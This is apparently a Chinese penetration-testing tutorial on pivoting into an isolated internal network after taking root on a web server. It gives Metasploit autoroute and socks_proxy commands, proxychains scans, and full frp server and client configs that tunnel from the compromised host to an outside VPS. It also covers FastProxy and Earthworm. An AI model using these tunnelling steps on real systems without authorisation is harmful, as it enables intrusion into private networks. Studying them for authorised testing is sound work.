在渗透测试中,当我们拿到web服务器的root控制权限时,发现web服务器的网卡信息存在与外界隔离的内网,如果要继续对内网进行渗透,我们就必须要建立起一个网络连接来连通自己的Kali和内网机器。
Socks是一种代理服务,可以简单地将一端的系统连接到另外一端,支持多种协议,包括http、ftp请求及其它类型的请求。它分socks 4 和socks 5两种类型,socks 4只支持TCP协议而socks 5支持TCP/UDP协议,还支持各种身份验证机制等协议,其标准端口为1080
对于socks代理的建立,收集了一些工具和方法
目录
msf
拿到meterpreter会话后,我们首先添加内网网段路由run autoroute 内网网段
然后使用socks_proxy开启一个socks代理服务
use auxiliary/server/socks_proxy
options
set srvhost kali的ip
set srvport 1080
set version 4a
然后使用proxychains4连接socks代理服务,修改/etc/proxychains4.conf
,添加SRVHOST SRVPORT
在对内网进行渗透的时候在命令前加上proxychains4就可以了,例如使用nmap对内网进行扫描
proxychains4 nmap 目标ip
frp
通过MSF建立socks代理的措施我们知道,首先需要部署一个socks服务,然后kali去连接这个服务,frp也是同样的道理
frp有两部分frps服务端和frpc客户端,使用frp进行socks代理时候,我们还需要有一个VPS来提供公网IP作为frps服务端。
- 在VPS建立frps,配置frps.ini
[common]
bind_port = 7000
token = Admin123
# frp管理后台端口,请按自己需求更改
dashboard_port = 7500
# frp管理后台用户名和密码,请改成自己的
dashboard_user = admin
dashboard_pwd = Aadmin@123
enable_prometheus = true
# frp日志配置
log_file = /var/log/frp/frps.log
log_level = info
log_max_days = 3
# 执行:
./frps -c frps.ini
- 在web服务器建立frpc,配置frpc.ini
[common]
server_addr = <your_vps_IP>
server_port = 7000
token = Admin123
[plugin_socks]
type = tcp
remote_port = 32123
plugin = socks5
plugin_user = fcarey
plugin_passwd = Aadmin@123
use_encryption = true
use_compression = true
# 执行:
./frpc -c frpc.ini
- 在Kali上继续使用proxychains连接socks服务
socks5 <your_vps_IP> 32123 fcarey Aadmin@123
我的理解就是frpc和frps建立起来一个流量隧道,然后使用proxychains建立起Kali与socks服务器的连接,但是frp存在多个版本,每个版本适配不同的架构,在渗透测试时需要注意版本问题,否则无法成功利用。
使用frp建立socks代理的流程及其繁琐,在配置ini文件、和上传frpc的版本特别需要细心,尤其是多层内网环境的时候,可以使用一个工具FastProxy快速的使用frp建立socks连接,无需关心版本架构问题,但需要注意适用靶场渗透,因为擦屁股很麻烦
该工具实际上装载了frp和fscan,使用python脚本自动化完成frp的步骤,ini设置仍然与上述一致
值得注意的是该工具需要flask库的支持,所以在目标机器上我们需要安装flask
使用方法:vps执行python3 app.py VPSIP port
快速建立起frps服务
- 第一行curl命令在目标机器执行
- 第三行proxy在proxychains中设置
Earthworm
EW是一套便携式的网络穿透工具,具有SOCKS5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,而且适用于不同的操作系统。
我的简单理解,就是在目标机器上建立socks服务,并将流量反弹回kali,kali仍然使用proxychains连接socks